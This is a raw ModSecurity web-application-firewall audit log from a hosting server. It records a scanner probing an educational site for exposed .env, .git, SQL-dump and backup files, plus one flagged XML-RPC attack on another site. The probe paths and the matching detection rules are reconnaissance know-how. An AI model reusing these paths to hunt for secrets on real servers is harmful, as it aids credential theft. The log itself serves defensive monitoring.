Accept-Encoding: gzip --4d674d35-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7cbdf270f81b8c4878ac079c030c56a21750037699; expires=Mon, 16 Jun 2025 02:34:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4d674d35-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.3"] [unique_id "aE90wp16HYQp4eDf7R1dbgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037698911326 654351 (- - -) Stopwatch2: 1750037698911326 654351; combined=1854, p1=387, p2=1361, p3=0, p4=0, p5=105, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4d674d35-Z-- --05b5ae46-A-- [16/Jun/2025:07:05:01.672674 +0530] aE90xOMjvy_LHXlMeRAS4gAAAAU 185.177.72.210 49742 127.0.0.1 7081 --05b5ae46-B-- GET /config.dat HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --05b5ae46-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=db3c3eb544c7ca1014142885d3e47c421750037701; expires=Mon, 16 Jun 2025 02:35:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --05b5ae46-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.dat"] [unique_id "aE90xOMjvy_LHXlMeRAS4gAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037700937946 734808 (- - -) Stopwatch2: 1750037700937946 734808; combined=1389, p1=252, p2=1026, p3=0, p4=0, p5=110, sr=73, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --05b5ae46-Z-- --46080e12-A-- [16/Jun/2025:07:05:05.827824 +0530] aE90yehCUAahT1nBjTYOigAAAAM 185.177.72.210 49884 127.0.0.1 7081 --46080e12-B-- GET /.git/packed-refs HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --46080e12-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3c392d0e977a8adc38585338c31d2f1a1750037705; expires=Mon, 16 Jun 2025 02:35:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --46080e12-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/packed-refs"] [unique_id "aE90yehCUAahT1nBjTYOigAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037705065497 762401 (- - -) Stopwatch2: 1750037705065497 762401; combined=1986, p1=400, p2=1500, p3=0, p4=0, p5=85, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --46080e12-Z-- --5a099b3f-A-- [16/Jun/2025:07:05:08.149703 +0530] aE90y516HYQp4eDf7R1dcgAAAAI 185.177.72.210 49974 127.0.0.1 7081 --5a099b3f-B-- GET /2020.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5a099b3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=04aa2d83c292a11d687d8e3c9c9da5021750037707; expires=Mon, 16 Jun 2025 02:35:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5a099b3f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2020.sql"] [unique_id "aE90y516HYQp4eDf7R1dcgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037707374697 775082 (- - -) Stopwatch2: 1750037707374697 775082; combined=2244, p1=429, p2=1697, p3=0, p4=0, p5=117, sr=123, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5a099b3f-Z-- --e109d877-A-- [16/Jun/2025:07:05:17.443848 +0530] aE901OhCUAahT1nBjTYOmwAAAAM 185.177.72.210 49690 127.0.0.1 7081 --e109d877-B-- GET /examples/03-one-to-many-relationship/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e109d877-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=99c1d9ee612e3930077ab8e7c5dfd3831750037717; expires=Mon, 16 Jun 2025 02:35:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e109d877-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/03-one-to-many-relationship/.env"] [unique_id "aE901OhCUAahT1nBjTYOmwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037716805108 638810 (- - -) Stopwatch2: 1750037716805108 638810; combined=1698, p1=366, p2=1243, p3=0, p4=0, p5=88, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e109d877-Z-- --7b10df68-A-- [16/Jun/2025:07:05:23.859990 +0530] aE902_v_9qNKLXJRkuZeygAAAAs 185.177.72.210 33420 127.0.0.1 7081 --7b10df68-B-- GET /.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7b10df68-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=69b512c46a8781fd492a95a47f32ac701750037723; expires=Mon, 16 Jun 2025 02:35:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7b10df68-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/"] [unique_id "aE902_v_9qNKLXJRkuZeygAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037723205375 654684 (- - -) Stopwatch2: 1750037723205375 654684; combined=2250, p1=461, p2=1698, p3=0, p4=0, p5=90, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7b10df68-Z-- --91ea6d32-A-- [16/Jun/2025:07:05:27.889969 +0530] aE903_vF1ly0gx5reNmCRAAAAAE 185.177.72.210 33662 127.0.0.1 7081 --91ea6d32-B-- GET /typo3conf/ext/yag_themepack_jquery/ext_tables.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --91ea6d32-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2397fea8ef18236088603c44285083e11750037727; expires=Mon, 16 Jun 2025 02:35:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --91ea6d32-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/typo3conf/ext/yag_themepack_jquery/ext_tables.sql"] [unique_id "aE903_vF1ly0gx5reNmCRAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037727230168 659864 (- - -) Stopwatch2: 1750037727230168 659864; combined=2055, p1=372, p2=1579, p3=0, p4=0, p5=103, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --91ea6d32-Z-- --000d1c62-A-- [16/Jun/2025:07:05:29.079433 +0530] aE904IkQyF8-ounHsxsGRAAAAA8 128.199.112.101 33690 127.0.0.1 7081 --000d1c62-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --000d1c62-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --000d1c62-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE904IkQyF8-ounHsxsGRAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037728135602 943902 (- - -) Stopwatch2: 1750037728135602 943902; combined=2447, p1=397, p2=1619, p3=42, p4=59, p5=210, sr=115, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --000d1c62-Z-- --20e77e51-A-- [16/Jun/2025:07:05:32.385327 +0530] aE9047oFnONBt7jRcByVLwAAAA4 185.177.72.210 55940 127.0.0.1 7081 --20e77e51-B-- GET /:8181/library/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --20e77e51-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7248963d1756c3265c27a43fa0f66b9f1750037732; expires=Mon, 16 Jun 2025 02:35:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --20e77e51-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/library/.env"] [unique_id "aE9047oFnONBt7jRcByVLwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037731711613 673790 (- - -) Stopwatch2: 1750037731711613 673790; combined=1932, p1=395, p2=1428, p3=0, p4=0, p5=108, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --20e77e51-Z-- --46898f37-A-- [16/Jun/2025:07:05:34.507171 +0530] aE905Z16HYQp4eDf7R1dhgAAAAI 185.177.72.210 56034 127.0.0.1 7081 --46898f37-B-- GET /:5601/backup/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --46898f37-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=590b13ec0ac16aa8f7a507027d8aaeb91750037734; expires=Mon, 16 Jun 2025 02:35:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --46898f37-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/backup/.env"] [unique_id "aE905Z16HYQp4eDf7R1dhgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037733805852 701388 (- - -) Stopwatch2: 1750037733805852 701388; combined=1874, p1=356, p2=1417, p3=0, p4=0, p5=101, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --46898f37-Z-- --36aee531-A-- [16/Jun/2025:07:05:36.502095 +0530] aE9054kQyF8-ounHsxsGSAAAAA8 185.177.72.210 56126 127.0.0.1 7081 --36aee531-B-- GET /product/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --36aee531-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b205bd18efcf425b92a7e3e306b99db1750037736; expires=Mon, 16 Jun 2025 02:35:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --36aee531-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/product/.env.staging"] [unique_id "aE9054kQyF8-ounHsxsGSAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037735833386 668773 (- - -) Stopwatch2: 1750037735833386 668773; combined=1868, p1=384, p2=1393, p3=0, p4=0, p5=90, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --36aee531-Z-- --122f897d-A-- [16/Jun/2025:07:05:37.618247 +0530] aE906J16HYQp4eDf7R1diAAAAAI 185.177.72.210 56196 127.0.0.1 7081 --122f897d-B-- GET /:5601/web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --122f897d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=374018ebf8253858076ad81f340f81711750037737; expires=Mon, 16 Jun 2025 02:35:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --122f897d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/web/.env"] [unique_id "aE906J16HYQp4eDf7R1diAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037736944400 673910 (- - -) Stopwatch2: 1750037736944400 673910; combined=1889, p1=370, p2=1429, p3=0, p4=0, p5=89, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --122f897d-Z-- --7c1d8722-A-- [16/Jun/2025:07:05:49.717434 +0530] aE909fv_9qNKLXJRkuZe1wAAAAs 185.177.72.210 34038 127.0.0.1 7081 --7c1d8722-B-- GET /.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7c1d8722-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=25de7d2cbe696a7483eac74297c235061750037749; expires=Mon, 16 Jun 2025 02:35:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7c1d8722-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.bak"] [unique_id "aE909fv_9qNKLXJRkuZe1wAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037749031702 685796 (- - -) Stopwatch2: 1750037749031702 685796; combined=1887, p1=314, p2=1471, p3=0, p4=0, p5=101, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7c1d8722-Z-- --8a75ed39-A-- [16/Jun/2025:07:06:16.981229 +0530] aE91EIkQyF8-ounHsxsGYQAAAA8 185.177.72.210 32904 127.0.0.1 7081 --8a75ed39-B-- GET /rabbitmq-cluster/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8a75ed39-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4a4df97694abce26e4e01f72e1ebf7da1750037776; expires=Mon, 16 Jun 2025 02:36:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8a75ed39-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file 